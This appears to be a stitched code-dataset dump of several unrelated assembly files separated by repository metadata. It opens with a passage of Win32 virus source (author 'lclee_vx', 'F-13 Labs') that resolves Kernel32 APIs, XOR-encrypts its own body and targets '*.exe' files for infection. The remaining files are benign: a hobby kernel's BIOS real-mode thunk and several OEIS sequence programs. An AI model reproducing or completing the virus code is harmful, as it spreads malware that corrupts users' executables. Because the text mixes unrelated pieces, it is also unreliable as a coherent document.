;save to stack push edx ;save to stack NextApi: pop edx pop esi inc edx ;edx=the index into AddressOfOrdinals+1 mov edi, [ecx] ;edi=API function export by Kernel32.dll add edi, eax ;normalize add ecx, 4 ;point to next API function push esi ;save to stack push edx CompareApi: mov dl, [edi] ;dl=API function export by Kernel32.dll mov dh, [esi] ;dh=API function we looking for cmp dl, dh ;match? jne NextApi ;not match....ok...next API inc edi ;if match, compare next byte inc esi cmp byte ptr [esi], 0 ;finish? je GetAddr ;jmp to get the address of API function jmp CompareApi GetAddr: pop edx pop esi dec edx ;edx-1 (because edx=index point to zero -finish) shl edx, 1 ;edx=edx*2 mov ecx, [ebx+24h] add ecx, eax add ecx, edx ;ecx=ordinals xor edx,edx mov dx, [ecx] shl edx, 2 ;edx=edx*4 mov ecx, [ebx+1ch] ;ecx=RVA AddressOfFunctions add ecx, eax ;normalize add ecx, edx add eax, [ecx] ;eax=address of API function we looking for ret GetApi endp ;----------------------------------------------------------------------------- ;call special API MessageBoxA ;----------------------------------------------------------------------------- SpecialApi proc push offset User32Dll mov eax, dword ptr [ebp+offset aLoadLibraryA] call eax mov esi, offset sMessageBoxA push esi push eax mov eax, dword ptr [ebp+offset aGetProcAddress] call eax mov dword ptr [ebp+offset aMessageBoxA], eax ret SpecialApi endp ;------------------------------------------------------------------------------ ;Encrypt/Decrypt Virus Data ;------------------------------------------------------------------------------ Crypt: mov esi, offset CryptStart add esi, ebp mov ah, byte ptr [ebp+offset CryptKey] mov ecx, CryptEnd-CryptStart CryptLoop: xor byte ptr [esi], ah inc esi loop CryptLoop ret ;------------------------------------------------------------------------------- ;Pop up message ;------------------------------------------------------------------------------- FirstGeneration: push 0 push offset szTopic push offset szText push 0 mov eax, dword ptr [ebp+offset aMessageBoxA] call eax push 0 mov eax, dword ptr [ebp+offset aExitProcess] call eax ;----------------------------------------------------------------------------- ;APIs function needed. ;----------------------------------------------------------------------------- sMessageBoxA db "MessageBoxA", 0 aMessageBoxA dd 00000000h @@Namez label byte sGetProcAddress db "GetProcAddress", 0 sLoadLibraryA db "LoadLibraryA", 0 sExitProcess db "ExitProcess", 0 sGetWindowsDirectoryA db "GetWindowsDirectoryA", 0 sGetSystemDirectoryA db "GetSystemDirectoryA", 0 sGetCurrentDirectoryA db "GetCurrentDirectoryA", 0 sSetCurrentDirectoryA db "SetCurrentDirectoryA", 0 sFindFirstFileA db "FindFirstFileA", 0 sFindNextFileA db "FindNextFileA", 0 sFindClose db "FindClose", 0 sGlobalAlloc db "GlobalAlloc", 0 sGlobalFree db "GlobalFree", 0 sGetFileAttributesA db "GetFileAttributesA", 0 sSetFileAttributesA db "SetFileAttributesA", 0 sCreatFileA db "CreateFileA", 0 sReadFile db "ReadFile", 0 sWriteFile db "WriteFile", 0 sGetFileTime db "GetFileTime",0 sGetFileSize db "GetFileSize", 0 sCreateFileMapping db "CreateFileMapping", 0 sMapViewOfFile db "MapViewOfFile", 0 sUnmapViewOfFile db "UnmapViewOfFile", 0 sCloseHandle db "CloseHandle", 0 sSetFileTime db "SetFileTime", 0 sSetFilePointer db "SetFilePointer", 0 sSetEndOfFile db "SetEndOfFile", 0 db 0FFh @@Offsetz label byte aGetProcAddress dd 00000000h aLoadLibraryA dd 00000000h aExitProcess dd 00000000h aGetWindowsDirectoryA dd 00000000h aGetSystemDirectoryA dd 00000000h aGetCurrentDirectoryA dd 00000000h aSetCurrentDirectoryA dd 00000000h aFindFirstFileA dd 00000000h aFindNextFileA dd 00000000h aFindClose dd 00000000h aGlobalAlloc dd 00000000h aGlobalFree dd 00000000h aGetFileAttributesA dd 00000000h aSetFileAttributesA dd 00000000h aCreateFileA dd 00000000h aReadFile dd 00000000h aWriteFile dd 00000000h aGetFileTime dd 00000000h aGetFileSize dd 00000000h aCreateFileMapping dd 00000000h aMapViewOfFile dd 00000000h aUnmapViewOfFile dd 00000000h aCloseHandle dd 00000000h aSetFileTime dd 00000000h aSetFilePointer dd 00000000h aSetEndOfFile dd 00000000h ;------------------------------------------------------------------------------ ;Parameters ;------------------------------------------------------------------------------ aKernel32 dd 00000000h Counter dd 00000000h SearchHandle dd 00000000h FileHandle dd 00000000h FilePointer dd 00000000h OriginalFileTime dd 00000000h MapSize dd 00000000h FileAttribute dd 00000000h MemoryHandle dd 00000000h MapAddress dd 00000000h OldRawSize dd 00000000h NewRawSize dd 00000000h NewFileSize dd 00000000h PEHeader dd 00000000h FileAlign dd 00000000h IncreaseRaw dd 00000000h InfectFlag dd 00000000h OriFileSize dd 00000000h AppBase dd 00400000h ByteRead dd ? User32Dll db "User32.dll", 0 ;User32.dll WindowsDir db 128h dup (0) SystemDir db 128h dup (0) Mark db "*.exe", 0 ;target file *.exe RedundantSize equ (offset delta - offset VirusStart) total_size equ (offset VirusEnd - offset VirusStart) szTopic db "F-13 Labs", 0 szText db "Author:lclee_vx", 0 max_path equ 260 MinimumFileSize equ 1024d filetime STRUC ;file time structure FT_dwLowDateTime DD ? FT_dwHighDateTime DD ? filetime ENDS win32_find_data STRUC FileAttributes DD ? ; attributes CreationTime filetime ? ; time of creation LastAccessTime filetime ? ; last access time LastWriteTime filetime ? ; last modificationm FileSizeHigh DD ? ; filesize FileSizeLow DD ? ; -"- Reserved0 DD ? ; Reserved1 DD ? ; FileName DB max_path DUP (?) ; long filename AlternateFileName DB 13 DUP (?) ; short filename DB 3 DUP (?) ; dword padding win32_find_data ENDS ; ; Win32FindData win32_find_data ? ; our search area CryptKey db ? VirusEnd: ends end VirusStart
28.089136
89
0.586127
2483d8c1d067b29932c6d296854b9fc8b0bd1580
3,281
asm
Assembly
Source/Kernel/BootLoad/MultiBoot/bios.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
16
2018-04-24T20:50:57.000Z
2022-01-09T22:51:35.000Z
Source/Kernel/BootLoad/MultiBoot/bios.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
1
2019-08-11T12:27:45.000Z
2019-12-02T12:25:41.000Z
Source/Kernel/BootLoad/MultiBoot/bios.asm
collinsmichael/spartan
e0f85504d45fea8337cc3f87c357e6ac4034d3ba
[ "MIT" ]
4
2018-07-23T20:10:19.000Z
2021-09-29T17:23:15.000Z
; compile with fasm.exe: (https://flatassembler.net/) ; fasm bios.asm bios.bin ; ; I'm not explaining anything in depth, it would take forever. ; Our kernel runs in Protected Mode. To execute a PC BIOS service ; it is required to first return to 16-bit Real Mode, then once ; the BIOS service has been executed the system must transition ; back into Protected Mode. This is basically what this file does. ; A tiny bit of self modifying code is performed to achieve this. ; Not all BIOS services are available using this method. ; Notably any service which uses DMA is broken ; format binary as 'bin' org 0x1000 use32 GDT_NULL = (0x00+0) GDT_RING0_CODE = (0x08+0) GDT_RING0_DATA = (0x10+0) GDT_RING3_CODE = (0x18+3) GDT_RING3_DATA = (0x20+3) GDT_RM16_CODE = (0x28+0) GDT_RM16_DATA = (0x30+0) IDTR = 0x0F4A IVTR = 0x0F52 bios: cli lidt [IVTR] mov eax, [esp+0x04] mov [_int_], al pushad pushd ds pushd es pushd fs pushd gs mov ax, GDT_RING0_DATA mov ds, ax mov es, ax mov fs, ax mov gs, ax mov esi, [esp+0x38] mov edi, reg32 mov ecx, length rep movsb call int86 mov edi, [esp+0x38] mov esi, reg32 mov ecx, length rep movsb popd gs popd fs popd es popd ds popad lidt [IDTR] sti ret int86: mov [_esp_], esp jmp GDT_RM16_CODE:rm16 ret86: mov ax, GDT_RING0_DATA mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov eax, cr0 or eax, 0x80000001 mov cr0, eax mov esp, [_esp_] ret use16 rm16: mov eax, cr0 and eax, 0x7FFFFFFE mov cr0, eax jmp 0x0000:rmx rmx: mov ax, GDT_RM16_DATA mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ss, ax mov esp, 0x0000FB00 xor ax, ax mov ds, ax mov es, ax mov fs, ax mov gs, ax mov ax, 0x9000 mov ss, ax mov eax, [_eax_] mov ecx, [_ecx_] mov edx, [_edx_] mov ebx, [_ebx_] mov ebp, [_ebp_] mov esi, [_esi_] mov edi, [_edi_] sti int 0x00 _int_ = $-1 cli mov [_eax_], eax mov [_ecx_], ecx mov [_edx_], edx mov [_ebx_], ebx mov [_ebp_], ebp mov [_esi_], esi mov [_edi_], edi pushf pop word [eflag] mov eax, cr0 or eax, 0x00000001 mov cr0, eax jmp GDT_RING0_CODE:ret86 align 4 reg32: _eax_: dd 0 ; eax _ecx_: dd 0 ; ecx _edx_: dd 0 ; edx _ebx_: dd 0 ; ebx _esp_: dd 0 ; esp _ebp_: dd 0 ; ebp _esi_: dd 0 ; esi _edi_: dd 0 ; edi eflag: dd 0 ; eflags length = $-reg32
22.472603
68
0.477598
bc6accaabc58917832f0957106ef8930bc30b3c4
449
asm
Assembly
oeis/107/A107985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/107/A107985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/107/A107985.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A107985: Triangle read by rows: T(n,k) = (k+1)(n+2)(n-k+1)/2 for 0 <= k <= n. ; Submitted by Jon Maiga ; 1,3,3,6,8,6,10,15,15,10,15,24,27,24,15,21,35,42,42,35,21,28,48,60,64,60,48,28,36,63,81,90,90,81,63,36,45,80,105,120,125,120,105,80,45,55,99,132,154,165,165,154,132,99,55,66,120,162,192,210,216,210,192,162,120 mov $2,1 lpb $0 add $1,1 sub $0,$1 add $2,1 lpe sub $2,$0 add $0,1 mov $1,$2 add $1,$0 mul $1,$0 mul $2,$1 mov $0,$2 div $0,2
23.631579
210
0.605791
f02ef372b2d833d6983ec9d2488a9ab2de49ddf1
589
asm
Assembly
programs/oeis/082/A082691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/082/A082691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/082/A082691.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A082691: a(1)=1, a(2)=2, then if 3*2^k-1 first terms are a(1),a(2),.........,a(3*2^k - 1) we have the 3*2^(k+1)-1 first terms as : a(1),a(2),.........,a(3*2^k - 1),a(1),a(2),.........,a(3*2^k - 1),a(3*2^k-1)+1. ; 1,2,1,2,3,1,2,1,2,3,4,1,2,1,2,3,1,2,1,2,3,4,5,1,2,1,2,3,1,2,1,2,3,4,1,2,1,2,3,1,2,1,2,3,4,5,6,1,2,1,2,3,1,2,1,2,3,4,1,2,1,2,3,1,2,1,2,3,4,5,1,2,1,2,3,1,2,1,2,3,4,1,2,1,2,3,1,2,1,2,3,4,5,6,7,1,2,1,2,3 lpb $0 mov $2,$0 add $2,1 seq $2,288932 ; Fixed point of the mapping 00->1000, 10->10101, starting with 00. sub $0,$2 add $3,$2 mov $1,$3 lpe add $1,1 mov $0,$1
42.071429
212
0.502547
24aa583ad45a6d16db39c95d9e18aaf6da5b0dbf
570
asm
Assembly
oeis/017/A017152.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/017/A017152.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/017/A017152.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A017152: a(n) = (8*n + 7)^4. ; 2401,50625,279841,923521,2313441,4879681,9150625,15752961,25411681,38950081,57289761,81450625,112550881,151807041,200533921,260144641,332150625,418161601,519885601,639128961,777796321,937890625,1121513121,1330863361,1568239201,1836036801,2136750625,2472973441,2847396321,3262808641,3722098081,4228250625,4784350561,5393580481,6059221281,6784652161,7573350625,8428892481,9354951841,10355301121,11433811041,12594450625,13841287201,15178486401,16610312161,18141126721,19775390625,21517662721 mov $1,8 mul $1,$0 add $1,7 pow $1,4 mov $0,$1
63.333333
490
0.840351
cb2652609a626847e70e2449b0c3818373fe97f7
1,796
asm
Assembly
programs/oeis/072/A072176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/072/A072176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/072/A072176.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A072176: Unimodal analog of Fibonacci numbers: a(n+1) = Sum_{k=0..floor(n/2)} A071922(n-k,k). ; 1,1,2,3,5,9,16,30,56,106,201,382,727,1384,2636,5021,9565,18222,34715,66137,126001,240052,457338,871304,1659978,3162533,6025150,11478911,21869232,41664520,79377833,151227961,288114394,548905795,1045756749,1992340377,3795739480,7231514438,13777236648,26247925146,50006658961,95270994814,181507076087,345801140568,658808633780,1255139920101,2391250111573,4555728811206,8679420400571,16535738102881,31503328792449,60019076187004,114346313371330,217848727642456,415038025592666,790716404690573,1506446142504574,2870030224243263,5467884483659744,10417228527455696,19846551352270609,37810978182938737,72036196403820210,137240924242241987,261466765697611797,498137635999157033,949034970990560416,1808069318746632494,3444672495030141528,6562673496524249482,12502983515593972121,23820261189895838590,45381555726053641303,86459404609321069000,164719532545834379484,313818080574580678893,597875589940195796557,1139052346480036085342,2170083993814593298971,4134370606200084790761,7876663003889075592145,15006351869809209088324,28589593883772766973642,54467927017191100359528,103770451780847558714666,197699953945420550345397,376651263623342900801086,717583244496992901132351,1367115319962831144019856,2604581855011396395939160,4962161231313715783177785,9453741696839515673923753,18010948839504116096259466,34313850378171751048167811,65373586825866267457508957,124547545885370253879920825,237283770697598672698679272,452065012090167429410353110,861258966659498507350202696,1640841444954463112290988090 mov $2,$0 add $2,1 mov $4,$0 lpb $2 mov $0,$4 sub $2,1 sub $0,$2 mul $0,2 seq $0,17898 ; Expansion of (1-x)/(1-x-x^4). add $0,1 mul $0,3 mov $3,$0 sub $3,3 add $1,$3 lpe div $1,3 mov $0,$1
85.52381
1,489
0.86637